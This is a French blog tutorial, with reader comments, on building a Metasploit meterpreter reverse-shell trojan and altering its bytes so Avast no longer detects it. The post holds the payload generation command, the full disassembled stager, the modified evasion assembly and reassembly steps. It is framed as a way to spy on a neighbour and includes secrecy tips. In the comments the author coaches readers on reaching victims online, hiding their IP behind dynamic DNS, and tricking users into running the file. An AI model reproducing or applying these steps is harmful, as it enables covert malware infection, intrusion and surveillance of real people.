Rendre un virus indétectable par les antivirus comme un nul(l)

Bonjour à tous !

Contrairement à ce qui était prévu, vous n’aurez pas tout de suite la seconde partie de l’atteinte à la vie privée comme un nul(l) !

Tout ça à cause d’Avast qui fait du trop bon travail et a détecté toutes mes tentatives.

Qu’à cela ne tienne, soyons aussi nul(l) que les éditeurs d’antivirus et créons notre propre cheval de Troie indétectable en modifiant sa signature ! Accrochez-vous, c’est relativement facile, au fond…

Comment ça marche un antivirus?

Un antivirus est une application plutôt simple :

  1. Lorsqu’on accède à un fichier, il passe d’abord par l’antivirus
  2. L’antivirus (Avast dans notre cas) détient une base de données contenant des chaînes de caractères (Octets)
  3. Il essaye donc de trouver une ou plusieurs de ces chaînes dans le fichier accédé
  4. S’il en trouve, il bloque l’action en cours et signale à l’utilisateur qu’il a un virus sur son ordinateur

Étape numéro 1 : créer notre cheval de Troie (Trojan)

Autant faire d’une pierre deux coups, on initialisera dans cet article le cheval de Troie qu’on utilisera dans le prochain pour en savoir un peu plus sur notre si belle voisine !

Prenez donc votre barbe et lancez une console sous Backtrack.

On travaillera dans un dossier temporaire :

mkdir ~/temp
cd ~/temp

Puis on génère notre cheval de Troie :

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=443 R > raw.binary

« windows/meterpreter/reverse_tcp » est le type de cheval de Troie qu’on utilise et qui, une fois lancé, tente de se connecter sur une adresse IP donnée.

« LHOST=192.168.56.101 » configure justement l’IP de connexion (Notre adresse IP de vilain méchant pirate).

« LPORT=443 » pour le port de connexion, 443 est le port HTTPS et n’est généralement pas bloqué par les pare-feux.

« R » pour « Raw » signifie qu’on veut l’exécutable brut pour le retravailler ensuite.

Nous voici donc en présence d’un petit fichier, bien détecté par notre bel Avast !

Étape numéro 2 : définir ce qu’Avast détecte

Trouver la signature

Avast cherche une chaîne de caractères dans ce fichier, oui mais laquelle?

La méthode la plus simple est souvent la meilleure ! Découpons notre fichier en petits tronçons et donnons-les à manger à l’antivirus. Le tronçon détecté sera la signature, et donc le code à changer !

split -b 40 raw.binary

« -b 40 » pour dire qu’on veut des fichiers de maximum 40 octets

Nous voici en présence de 8 fichiers, passons-les à la moulinette Avast !

Le fichier xad contient la signature.

Pour la frime

Installons vbindiff, un petit utilitaire de comparaison visuelle de fichiers binaires :

apt-get install vbindiff

Notre fichier « xad » est en quatrième position, donc il doit y avoir 120 (3*40) octets avant lui. Notre fichier original a une longueur de 290 octets, il y a donc 130 (290-40*4) octets après lui. Recomposons un fichier ne contenant que la signature qu’on pourra comparer à notre fichier original :

dd if=/dev/zero of=part1 bs=120 count=1
dd if=/dev/zero of=part2 bs=130 count=1
cat part1 xad part2 > sig.binary

Puis on compare nos deux fichiers :

vbindiff raw.binary sig.binary

On peut maintenant officiellement se la péter et se faire passer pour un expert de chez Kapersky !

Notons en passant le début (04 8B 01) et la fin (77 26 07) de la signature, on en aura besoin plus tard pour savoir ce qu’on doit modifier.

Etape numéro 3 : modifier notre fichier

Préparer le désassembleur

Pour ne pas déroger à la règle, on continue d’utiliser Metasploit qui contient un désassembleur… Eh oui, il fait vraiment tout, cet outil !

cd /opt/metasploit/apps/pro/msf3/lib/metasm
cp -a metasm.rb metasm /usr/local/lib/site_ruby/1.9.2/

On désassemble !

ruby /opt/metasploit/apps/pro/msf3/lib/metasm/samples/disassemble.rb raw.binary > raw.asm

On obtient un truc de bon gros barbu qui n’a pas vu la lumière du jour depuis 10 ans : de l’assembleur…

entrypoint_0:
    cld                                          ; @0  fc  
    call sub_8fh                                 ; @1  e889000000  x:sub_8fh
    pushad                                       ; @6  60  
    mov ebp, esp                                 ; @7  89e5  
    xor edx, edx                                 ; @9  31d2  
    mov edx, fs:[edx+30h]                        ; @0bh  648b5230  r4:segment_base_fs+30h
    mov edx, [edx+0ch]                           ; @0fh  8b520c  r4:unknown
    mov edx, [edx+14h]                           ; @12h  8b5214  r4:unknown

// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                           ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]                ; @18h  0fb74a26  r2:unknown
    xor edi, edi                                 ; @1ch  31ff  

// Xrefs: 2ch
loc_1eh:
    xor eax, eax                                 ; @1eh  31c0  
    lodsb                                        ; @20h  ac  
    cmp al, 61h                                  ; @21h  3c61  
    jl loc_27h                                   ; @23h  7c02  x:loc_27h

    sub al, 20h                                  ; @25h  2c20  

// Xrefs: 23h
loc_27h:
    ror edi, 0dh                                 ; @27h  c1cf0d  
    add edi, eax                                 ; @2ah  01c7  
    loop loc_1eh                                 ; @2ch  e2f0  x:loc_1eh

    push edx                                     ; @2eh  52  
    push edi                                     ; @2fh  57  
    mov edx, [edx+10h]                           ; @30h  8b5210  r4:unknown
    mov eax, [edx+3ch]                           ; @33h  8b423c  
    add eax, edx                                 ; @36h  01d0  
    mov eax, [eax+78h]                           ; @38h  8b4078  
    test eax, eax                                ; @3bh  85c0  
    jz loc_89h                                   ; @3dh  744a  x:loc_89h

    add eax, edx                                 ; @3fh  01d0  
    push eax                                     ; @41h  50  
    mov ecx, [eax+18h]                           ; @42h  8b4818  
    mov ebx, [eax+20h]                           ; @45h  8b5820  
    add ebx, edx                                 ; @48h  01d3  

// Xrefs: 66h
loc_4ah:
    jecxz loc_88h                                ; @4ah  e33c  x:loc_88h

    dec ecx                                      ; @4ch  49  
    mov esi, [ebx+4*ecx]                         ; @4dh  8b348b  
    add esi, edx                                 ; @50h  01d6  
    xor edi, edi                                 ; @52h  31ff  

// Xrefs: 5eh
loc_54h:
    xor eax, eax                                 ; @54h  31c0  
    lodsb                                        ; @56h  ac  
    ror edi, 0dh                                 ; @57h  c1cf0d  
    add edi, eax                                 ; @5ah  01c7  
    cmp al, ah                                   ; @5ch  38e0  
    jnz loc_54h                                  ; @5eh  75f4  x:loc_54h

    add edi, [ebp-8]                             ; @60h  037df8  
    cmp edi, [ebp+24h]                           ; @63h  3b7d24  
    jnz loc_4ah                                  ; @66h  75e2  x:loc_4ah

    pop eax                                      ; @68h  58  
    mov ebx, [eax+24h]                           ; @69h  8b5824  
    add ebx, edx                                 ; @6ch  01d3  
    mov cx, [ebx+2*ecx]                          ; @6eh  668b0c4b  
    mov ebx, [eax+1ch]                           ; @72h  8b581c  
    add ebx, edx                                 ; @75h  01d3  
    mov eax, [ebx+4*ecx]                         ; @77h  8b048b  
    add eax, edx                                 ; @7ah  01d0  
    mov [esp+24h], eax                           ; @7ch  89442424  
    pop ebx                                      ; @80h  5b  
    pop ebx                                      ; @81h  5b  
    popad                                        ; @82h  61  
    pop ecx                                      ; @83h  59  
    pop edx                                      ; @84h  5a  
    push ecx                                     ; @85h  51  
    jmp eax                                      ; @86h  ffe0  

// Xrefs: 4ah
loc_88h:
    pop eax                                      ; @88h  58  

// Xrefs: 3dh
loc_89h:
    pop edi                                      ; @89h  5f  
    pop edx                                      ; @8ah  5a  
    mov edx, [edx]                               ; @8bh  8b12  r4:unknown
    jmp loc_15h                                  ; @8dh  eb86  x:loc_15h

// Xrefs: 1
sub_8fh:
// function binding: ebp -> dword ptr [esp], esp -> esp-10h
// function ends at 0a0h
    pop ebp                                      ; @8fh  5d  
    push 3233h                                   ; @90h  6833320000  
    push 5f327377h                               ; @95h  687773325f  
    push esp                                     ; @9ah  54  
    push 726774ch                                ; @9bh  684c772607  
    call ebp                                     ; @0a0h  ffd5  endsub sub_8fh noreturn
db 0b8h, 90h, 1, 0, 0, 29h, 0c4h, "TPh)", 80h, 6bh, 0 ; @0a2h
db 0ffh, 0d5h, "PPPP@P@Ph", 0eah, 0fh, 0dfh, 0e0h, 0ffh ; @0b0h
db 0d5h, 97h, 6ah, 5, 68h, 0c0h, 0a8h, "8eh", 2, 0, 1, 0bbh, 89h, 0e6h ; @0c0h
db 6ah, 10h, "VWh", 99h, 0a5h, 74h, 61h, 0ffh, 0d5h, 85h, 0c0h, 74h, 0ch, 0ffh ; @0d0h
db 4eh, 8, 75h, 0ech, 68h, 0f0h, 0b5h, 0a2h, 56h, 0ffh, 0d5h, 6ah, 0, 6ah, 4, 56h ; @0e0h
db 57h, 68h, 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 8bh, "6j@h", 0, 10h, 0 ; @0f0h
db 0, 56h, 6ah, 0, 68h, 58h, 0a4h, 53h, 0e5h, 0ffh, 0d5h, 93h, 53h, 6ah, 0, 56h ; @100h
db "SWh", 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 1, 0c3h, 29h, 0c6h, 85h, 0f6h, 75h ; @110h
db 0ech, 0c3h                                    ; @120h

Vous êtes toujours là? Éditons, mes bons !

D’abord, trouvons où commence la signature et où elle finit, cherchons les caractères qu’on avait notés plus haut pendant qu’on frimait devant les copains :

    mov eax, [ebx+4*ecx]                         ; @77h  8b048b  
    add eax, edx                                 ; @7ah  01d0  
    mov [esp+24h], eax                           ; @7ch  89442424  
    pop ebx                                      ; @80h  5b  
    pop ebx                                      ; @81h  5b  
    popad                                        ; @82h  61  
    pop ecx                                      ; @83h  59  
    pop edx                                      ; @84h  5a  
    push ecx                                     ; @85h  51  
    jmp eax                                      ; @86h  ffe0  

// Xrefs: 4ah
loc_88h:
    pop eax                                      ; @88h  58  

// Xrefs: 3dh
loc_89h:
    pop edi                                      ; @89h  5f  
    pop edx                                      ; @8ah  5a  
    mov edx, [edx]                               ; @8bh  8b12  r4:unknown
    jmp loc_15h                                  ; @8dh  eb86  x:loc_15h

// Xrefs: 1
sub_8fh:
// function binding: ebp -> dword ptr [esp], esp -> esp-10h
// function ends at 0a0h
    pop ebp                                      ; @8fh  5d  
    push 3233h                                   ; @90h  6833320000  
    push 5f327377h                               ; @95h  687773325f  
    push esp                                     ; @9ah  54  
    push 726774ch                                ; @9bh  684c772607

Ajoutons donc des lignes qui ne modifieront pas le fonctionnement de l’application (je vous passe l’apprentissage de l’assembleur et vous offre une solution) :

    mov eax, [ebx+4*ecx]                         ; @77h  8b048b  
    mov ebx,edx
    add eax, edx                                 ; @7ah  01d0  
    sub eax, edx
    add eax, ebx
    mov ebx, esp
    mov [ebx+24h], eax                           ; @7ch  89442424  
    pop ebx                                      ; @80h  5b  
    pop ebx                                      ; @81h  5b  
    popad                                        ; @82h  61  
    pop ecx                                      ; @83h  59  
    pop edx                                      ; @84h  5a  
    push ecx                                     ; @85h  51  
    mov ecx,eax
    jmp ecx                                      ; @86h  ffe0  

// Xrefs: 4ah
loc_88h:
    pop eax                                      ; @88h  58  

// Xrefs: 3dh
loc_89h:
    pop edi                                      ; @89h  5f  
    pop edx                                      ; @8ah  5a  
    mov edx, [edx]                               ; @8bh  8b12  r4:unknown
    jmp loc_15h                                  ; @8dh  eb86  x:loc_15h

// Xrefs: 1
sub_8fh:
// function binding: ebp -> dword ptr [esp], esp -> esp-10h
// function ends at 0a0h
    pop ebp                                      ; @8fh  5d  
    push ebx
    push ecx
    mov ecx,3233h
    mov ebx,ecx
    pop ecx
    pop ebx
    push 3233h                                   ; @90h  6833320000  
    push ebx
    mov ebx,5f327377h
    pop ebx
    push 5f327377h                               ; @95h  687773325f  
    push esp                                     ; @9ah  54  
    push 726774ch                                ; @9bh  684c772607

L’important n’est pas ce que l’on modifie mais que le programme fasse exactement la même chose qu’auparavant. L’apprentissage des bases de l’assembleur suffit pour faire cela (pour ma part, je n’ai eu besoin que d’une journée). Je vous invite à vous intéresser à nasm.

Reconstruisons un exécutable à partir de notre code modifié

Là encore Metasploit est capable de réassembler ce qu’il a désassemblé. Il faut tout de même ajouter les deux lignes suivantes en tête de votre fichier raw.asm :

.section '.text' rwx
.entrypoint

Réassemblons :

ruby /opt/metasploit/apps/pro/msf3/lib/metasm/samples/peencode.rb raw.asm -o raw.exe

Un petit test ne fait pas de mal :

file raw.exe

Étape finale : qu’en dit monsieur Avast ?

Notre cheval de Troie est prêt !

Conclusion

Soyons nul(l)s, soyons méchants ! Nous savons maintenant comment modifier à volonté n’importe quelle application détectée par les antivirus pour que ceux-ci n’y voient que du feu !

Si dans quelques semaines votre nouveau cheval de Troie est détecté par les antivirus, il vous suffira de le modifier à nouveau !

Choses à ne pas faire

Si vous divulguez votre code assembleur (tel que je viens de faire), des éditeurs d’antivirus pourrons adapter leurs signatures pour prendre votre version en compte. Si vous voulez que votre cheval de Troie / virus reste invisible, parlez-en le moins possible.

Ne vérifiez surtout pas votre nouveau virus à l’aide d’agrégateur d’antivirus en ligne, tous les fichiers qu’on leur envoie sont ensuite analysés manuellement afin de détecter de nouvelles signatures !

Ce qu’il faut retenir

Ne faites pas confiance à votre antivirus, certes ces manipulations ne sont pas à la portée de la mère Michou… mais elle ne pirate pas comme un nul(l), la mère Michou, sauf erreur…

Mais comment tu sais tout ça ? Sources :

Publicités
À propos

Un informaticien, qui tente de faire comprendre au public que l'informatique n'est pas si compliquée, malgré des acronymes et autres termes obscurs pour faire croire que c'est difficile (et que c'est de votre faute si "ça ne marche pas")

Tagged with: , , , , , , , , , , , , , , , , ,
Publié dans Développement, Informatique, Intrusion, Metasploit, Piratage
40 comments on “Rendre un virus indétectable par les antivirus comme un nul(l)
  1. Luis Alonso Paez Martinez dit :

    Trés interessant!

    Je voudrais pirater comme nul(l).!

    Je traduit l’artticle a l’Espagnol pour un ami, nous sommes passiones de Linux, et il est aime beaucoup étudier la securité informatique.

    Merci et a bientôt.

    • Pedy dit :

      Merci pour ce magnifique tuto!! mais j ai une question,j aimerais savoir comment le serveur du Trojan peut être exécuté sur un ordi roulant sur Windows 7 ou Vista car ces derniers demande tjrs une autorisation de l administrateur avant d ouvrir un programme(la le serveur en question)??

      • mystcaster dit :

        La personne devra accepter de démarrer Java. Ce genre de message est courant sur Internet. Et comme l’antivirus ne détectera rien, on espère que la voisine ne se posera pas de question, d’autant qu’elle reçoit ce message sur un site de confiance (Facebook en l’occurrence).

        Et pour Vista et ses 300 messages de confirmations à chaque fois qu’on ouvre le moindre programme… tout le monde sait que personne ne les lit 🙂

  2. Pedy dit :

    pas moyen de vous contacter en prive??

  3. terredeciel dit :

    Hello ici bon moi je demarre sur Backtrack donc j’ai juste une petite question je me connect souvent sous hotpost free avec une ip du genre 10.41.***.**** c’est en fesant la commande ifconfig que je trouve cette ip carte wlan0

    Mais si je vais sur la page de google et que je cherche mon ip il me donne une ip de style 178.250.**.***

    voila donc quel ip je doit mettre pour génèrer notre cheval de Troie ?

    parcque je suis un gars du genre trés mobile un jour a Paris le lendemain a Marseille
    j’ai aussi un nom de domaine du genre ***********.no-ip.org

    merci

    • mystcaster dit :

      Bonjour,

      Tout dépend.

      Si tu veux t’attaquer à un ordinateur connecté sur le même hotspot Free que toi, il faut le générer avec l’IP « 10.41.***.*** » (l’adresse sur le réseau privé)

      Si par contre ta cible est sur Internet, il faudra générer le cheval de Troie avec « 178.250.***.*** » (l’adresse publique partagée par tous les utilisateurs du réseau privé)

      Note que pour un hotspot Free, tu ne pourras pas paramétrer le routage des ports sur la box ADSL. Il faudra alors utiliser un meterpreter de type « bind_tcp », sur lequel tu te connecteras alors, car le « reverse_tcp » ne pourra pas contacter ton ordinateur.

      Note aussi que diffuser ton adresse IP dans un cheval de Troie sur Internet n’est pas une idée très brillante. Il faudra préférer donner un nom de domaine gratuit (du type « no-ip.com« ) que tu auras paramétré sur ton adresse IP publique. Cette méthode, te permet également de changer d’adresse IP : il suffira de reconfigurer le nom de domaine sur le site de no-ip.

  4. edotensei69 dit :

    Bonjour

    tout d’abord je tenais à vous féliciter pour vos très bons tutoriels.
    Ma requête concerne le code assembleur ajouté au fichier original. j’aimerais comprendre son mode de fonctionnement et à quoi il correspond de manière concrète.

    En vous remerciant

    • mystcaster dit :

      Bonjour,

      Concrètement, elles ne changent rien au fonctionnement original du programme (et c’était bien le but)

      En substance, on utilise tout d’abord le registre ebx qui n’était pas utilisé (on peut le voir aux « pop ebx » caractéristiques d’un registre inutilisé à un moment donné) pour faire passer des valeurs d’un registre à un autre et au final se retrouver dans le même état que le code original.
      Ensuite, on fait passer la valeur du registre eax vers ecx qui était inutilisé (car il venait d’être sauvegardé par un « push ecx ») pour s’en servir pour le saut.

      Pour la dernière partie, j’ai été à cours d’inspiration alors j’ai tout simplement utilisé une série de push et pop avec quelques mov au milieu pour faire bien. Exemple :

      push ebx ;Sauvegarde ebx, on pourra l’utiliser pour n’importe quoi
      push ecx ;Sauvegarde ecx, on pourra l’utiliser pour n’importe quoi
      mov ecx,3233h ;Fait n’importe quoi avec ecx, la valeur n’est pas importante
      mov ebx,ecx ;Fait n’importe quoi avec ebx et ecx
      pop ecx ;Restaure ecx à sa valeur initiale (avant le push)
      pop ebx ;Restaure ebx à sa valeur initiale (avant le push)

      L’ordre des push et pop est important, les pop doivent être fait dans l’ordre inverse des push car les sauvegardes se font dans une pile et non un buffer.

  5. edotensei69 dit :

    D’accord je comprends mieux maintenant. Je vous remercie d’avoir pris le temps de répondre à mon message.

  6. Genesis dit :

    FélicitationS……..

  7. makrook dit :

    bonjour.
    mon avast detecte le trojan dans les 10 derniers octets.
    le pb c’est qu’a partir de l’offset x0a2, metasm tombe sur des données, manifestement il reste du code à la fin, mais puisque il ne sait pas où il commence il ne sait les desassembler.
    du coup ma question est : est-il possible sans « tracer » le programme (je ne sais plus vraiment faire ça, je n’ai pas touché à de l’assembleur depuis de longues années) de savoir où s’arrêtent les données contenues à la fin et où commence les qqes instructions qu’il va falloir modifier ?? (ou alors je me trome du tout au tout et ça n’est pas du tout le bon raisonnement ?)

    • mystcaster dit :

      Bonjour,

      J’ai pu me rendre compte que metasm ne décompile effectivement pas les derniers octets de meterpreter. Il ne s’agit pourtant pas de données car le code assembleur reste tout à fait cohérent.
      Tu peux donc essayer de décompiler avec un autre outil tel que ndisasm. J’ai un exemple dans cet article : https://piratercommeunnul.wordpress.com/2012/09/18/rendre-meterpreter-invisible-en-modifiant-metasploit-comme-un-null-partie-1/

      Le mauvais point est qu’il ne crée pas de label pour les appels (call/jmp) ce qui veut dire que tu auras à mettre à jour à la main l’offset de chaque saut ou appel qui aura changé lorsque tu auras modifié la signature.
      Tu peux également ajouter à la main les labels de sauts comme j’ai fait dans mon exemple, ce qui te permet de ne pas jouer avec les offsets.

      C’est toujours bien de connaître plusieurs outils pour faire la même chose, car bien souvent ils ont chacun leurs qualités et leurs défauts…

  8. makrook dit :

    alors oui, du coup j’avais trouvé ndisasm, qui désassemble effectivement tout (un peu pénible de devoir tout ré-editer le texte derrière pour pouvoir recompiler) mais : si, il y a bien des données dans le lot : notemment l’adresse et le port sur lequel le trojan va se connecter, on les retrouve facilement en hexadecimal. Il va donc fatalement y avoir un souci pour savoir où recommmence le code non ?

    • makrook dit :

      exemple : avec ndisasm, j’ai reperé mon 192.168 (de 192.168.xx.xx) qui, précédé de x68 donne 68C0A8 soit un push A8C0, suivi des deux derniers octets de l’adresse ip interpretés comme une instruction, et on retrouve le port (443 soit 01BB) 4 octets plus loin, interprété lui aussi comme une partie d’instruction.

    • makrook dit :

      désolé pour le quadruple post inutile.. ça m’a valu des découvertes et de la réflexion (j’en était à me dire que sans tout comprendre au fonctionnement du trojan on pouvait sans doute rajouter une mini-routine « d’encryption » très simple au début du prog, genre additionner avec des valeurs connues les valeurs des qqes octets de la signature ou qqch du genre, et à me préparer à passer 3 jours sans sortir pour me replonger la dedans sans doute avec peu de succès) quand .. ben en fait me suis trompé dès le début : c’est pas du tout dans les derniers octets qu’il trouve la signature, c’est juste la manière dont avast présente ses résultats qui m’a trompé .. mea culpa, désolé d’avoir fait des déchets sur ce blog, qui peuvent être effacés je suppose 🙂 et merci pour la réponse et pour ce blog, vraiment.

      • mystcaster dit :

        Heureux de lire que tu as réglé ton problème 🙂

        Et non je ne vais pas supprimer tes commentaire, car c’est un très bon exemple d’apprentissage du piratage !
        Tu illustre le chemin qu’il faut suivre pour devenir compétent : essayer, faire des erreurs (même d’inattention), chercher, demander, chercher encore, trouver, apprendre !

        Bonne continuation.

  9. D4rkvadoor dit :

    Bonjour,

    Faut m’excuser si la question est stupide mais je fais mes début ^^
    ma question est la suivant:
    Une fois notre fichier raw.exe généré avec mes modifications comment je peux faire pour connaitre la partie de mon executable qui est détecté par avast ?
    en fait je voudrai après soumit mon executable à avast, pouvoir refaire un binaire pour le spliter en x morceau pour voir si c’est toujours la même partie du trojan qui est détecté ou non et le cas échéant refaire des modifications.

    merci

    • mystcaster dit :

      Bonjour,
      Il va te suffire de donner ton fichier raw.exe à la commande « split ».
      Effectivement, le fichier raw.binary utilisé dans l’article n’est rien d’autre qu’un fichier exécutable sans l’entête permettant son exécution.
      Un fichier « .exe » est ce qu’on appelle un fichier binaire et peut être désassemblé comme n’importe quel fichier binaire.

  10. Kazer2.0 dit :

    Avec la dernière BackTrack, j’ai manifestement un problème avec ruby :

    « Could not find rake-10.0.4 in any of sources (Bundler::GemNotFound) et les solutions sur internet ne fonctionnent pas.

    Quelqu’un à une solution pour un Backtrack 5 R3 Gnome ?

  11. EM dit :

    Salut,

    Merci beaucoup pour ton tuto. C’est tout con en fait 🙂

    N’étant pas toujours sur Kali, connais tu un bon splitter pour tester les bouts de code du trojan ? Parce que les seuls que je trouve, soit ne découpent pas en des fichiers de moins de 1 Mo, soit les découpe dans leurs formats. Donc quand on les passe sur Avast, il ne détecte rien 🙂

    Merci

    • mystcaster dit :

      Tu peux toujours télécharger Cygwin pour obtenir des commandes telles que split (voire vbindiff) sous Windows 😉

      Cygwin est en fait un émulateur Linux sous Windows. Il peut même te fournir un client X avec quelques plugins !

      • EM dit :

        Merci beaucoup je cours voir ça.

        Sinon, j’avais fait ça avec Winrare au final et ça fonctionnait. En revanche, j’avais téléchargé Hackman, j’ai « désassemblé » la partie détectée par Avast mais impossible de l’éditer.

  12. CharlOS dit :

    Boujour,

    J’ai quelques questions, si vous voulez bien prendre le temps de les lire et d’y répondre.

    J’ai installé avast directement sur mon kali-linux et j’ai « passé à la moulinette » le fichier « raw.binary » sans le modifier. Pourtant, avast n’a rien détecté… Pourquoi ?

    Tant pis, me suis-je dit. J’ai donc continué le tuto, et arrive le moment du désassemblage.
    « cp -a metasm.rb metasm /usr/local/lib/site_ruby/1.9.2/ ». 1.9.2 n’existe pas, je n’ai que 1.9.1. Je modifie la ligne de commande. J’entre la commande (celle qui commence par « ruby ») et voilà ce qu’il me répond
    « /usr/local/lib/site_ruby/1.9.1/metasm/os/main.rb:264:in `size’: No such file or directory – raw.binary (Errno::ENOENT) » […]. C’est normal ?

    Je trouve donc le « raw.asm » dans le chemin indiqué, mais il est vide. 0 octet. Que faire ?

    Sinon, j’adore ce que vous faites ! En plus, on sent que vous le faites avec plaisir, qui est bien évidemment partagé.

    Merci

    • mystcaster dit :

      Bonjour,

      Si Avast ne détecte pas raw.binary, il se peut qu’il ait une base de signatures différente selon la plateforme. Pour en être sûr, il faudrait donner le même fichier à un Avast sous Windows.

      J’ai fait l’article sous Backtrack 5, je jetterai un oeil sous Kali dès que possible pour te répondre (on peut se tutoyer? 🙂 ).
      Pourrais-tu d’ores et déjà m’envoyer la ligne de commandes que tu as saisie ?

      A+

      • CharlOS dit :

        Bien sûr, nous allons nous tutoyer, ce sera plus convivial 😉

        En fait, j’aimerai me passer de windaube au maximum (le démarrage est quand même très long !). S’il n’y a pas moyen d’installer la même base de donnée sur toutes les plates-formes, je m’y résignerai.
        Je ne suis pas sur mon ordinateur, là, mais je t’enverrai ça dès que possible.
        Sinon, j’ai utilisé l’autre désassembleur que tu as présenté dans un autre des tes articles (dndisam) et ça a marché. Mais ça m’embête quand même un peu…

      • CharlOS dit :

        Me voila de retour sur mon ordinateur.
        J’ai testé le fichier sur l’ordinateur de mon frère avec avira et non avast, et il l’a détecté.
        Je t’envoie la capture d’écran de ma console sur ton adresse mail.

  13. warfares dit :

    salut, deja merci beaucoup pour ces articles de qualites, j’aurais juste quelues qu’elle est la difference entre le fichier raw ( binaire) et l’exe ? ( de maniere generale ) , et peut-on obtenir un raw a partir de l’exe ( en gros comment faire l’inverse de ce que tu developpe dans l’article ) ?

    • mystcaster dit :

      Salut,
      Un fichier « raw » est la partie effective de l’application. Il faut l’encapsuler dans un conteneur pour qu’il puisse être reconnu comme un exécutable par Windows (ajouter une entête pour qu’il ait la signature d’un exécutable)

      On peut obtenir la partie effective à partir d’un exécutable en retirant cette entête.
      Je ne connais pas d’outil permettant d’automatiser cette tâche mais des désassembleurs peuvent t’aider car l’adresse du début de la partie effective doit se trouver dans l’entête.

  14. makrook dit :

    bonjour,

    je reviens car j’ai refais toutes ces manips et j’ai un souci : autant avast ne detecte plus de menace, autant windows defender sur mon 8.1 oui. le souci étant : windows defender manifestement ne scan que les executables (et les dlls j’imagine), donc, y a-t-il une manière simple de spliter la partie binaire pour en faire des executables qui seront analysés par windows defender pour voir ce que lui detecte ?? parceque là, le seul moyen que je vois, c’est à la main de decouper le programme assembleur en bouts et de les compiler tous, mais je n’ose imaginer le travail que ça représente, puisqu’il faut à chaque fois que les bouts soient cohérents (que si il y ait un saut l’instruction sur laquelle il arrive soit présente notemment, enfin, ça demande de réellement comprendre le programme)

  15. makrook dit :

    argh. en fait j’ai simplement viré bout par bout de gros morceaux de codes en remplaçant pars un nop, windows defender continuait à détecter la menace. j’ai supprimé les données à la fin. bingo ! mais alors la, pour encrypter les données ??

    • mystcaster dit :

      Une fois que tu as repéré la signature, il suffit de la « casser », en insérant par exemple un nop entre chaque instruction…
      Ou en étant un peu vicieux, comme moi, et en insérant du code aléatoire ne modifiant pas le fonctionnement du programme. 🙂

      A aucun endroit je n’ai chiffré les données, le seul but est de contourner les signatures. C’est à utiliser au cas par cas si tu connais quel anti-virus utilise ta victime.

  16. makrook dit :

    oui, mais la le pb, c’est que windows defender detecte clairement le cheval de troie dans les données stockées à la fin. j’ai viré des bouts de code, rajouté des suites d’instructions qui ne font rien (empilages/depilages, ce genre de truc), et ce n’est que quand je vire tousles dbs à la fin que windows defender ne voit plus rien.ça ça veut dire qu’il faut soit les encrypter, soit les repartir en les cassant avec d’autres données et modifier la manière sont le stager de meterpreter y accede, enin c’est les idées qui me viennent en tête.mais c’est un tel boulot que je me demandais si il n’y avait pas plus simple. (et les encryptions de msfencode n’y font rien)

  17. makrook dit :

    ce qui est « rigolo » par contre, c’est qu’au final, si on installe avast il prend le pas sur windows defender qui de désactive, malgré le fait que manifestement il détecte mieux les menaces qu’avast ..

  18. makrook dit :

    update : depuis la dernière mise a jour, avast lui aussi reconnait mon trojan dans les données à la fin. donc, j’imagine qu’il va falloir se remettre à l’assembleur, tracer et comprendre le stager, et changer la manière dont il recupère ses données pour changer cette signature là ..

    • mystcaster dit :

      C’est le problème de cette technique. Normalement il ne faut pas tester avec un anti-virus ce que tu fais, car la signature de ton trojan se retrouvera dans 3 à 4 semaines dans la base de signature du logiciel. 🙂
      C’est une méthode qui est cependant infaillible lors d’une attaque ponctuelle sur une machine protégée par un anti-virus précis.
      Il ne faut pas espérer que ton fichier reste indétectable très longtemps.

  19. MWoot dit :

    C’est exactement le tutorial que je recherchais depuis plus d’une semaine pour une fois il fallait pas le chercher en Anglais mais en Français pour le trouver 😀
    Je suis sur Kali Linux je vais tester ça tout de suite il va me falloir un peu de temps je penses que je vais être bloqué plusieurs fois pour certaines étapes 🙂
    Par contre l’article datant de 2012, est-ce que cette méthode est toujours d’actualité ou ça ne sert plus à rien que j’essaye ??
    Dernière petite question : les lignes que tu à ajouté dans la signature peuvent être ajoutés plusieurs fois et dans n’importe quel ordre ?

    Merci beaucoup pour ce tutorial en tout cas !

  20. Virginie dit :

    coucou j’aimerais met un fichier .exe sur backtrack c’est possible?

    jais un fichier exe qui est sur mon bureau j’aimerais le deplacé sur backtrack

    j’espère vous comprenez mon message

    Merci beaucoup pour ce tutorial en tout cas !

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

MystCaster
septembre 2012
L M M J V S D
« Août   Oct »
 12
3456789
10111213141516
17181920212223
24252627282930
Catégories
Archives
%d blogueurs aiment cette page :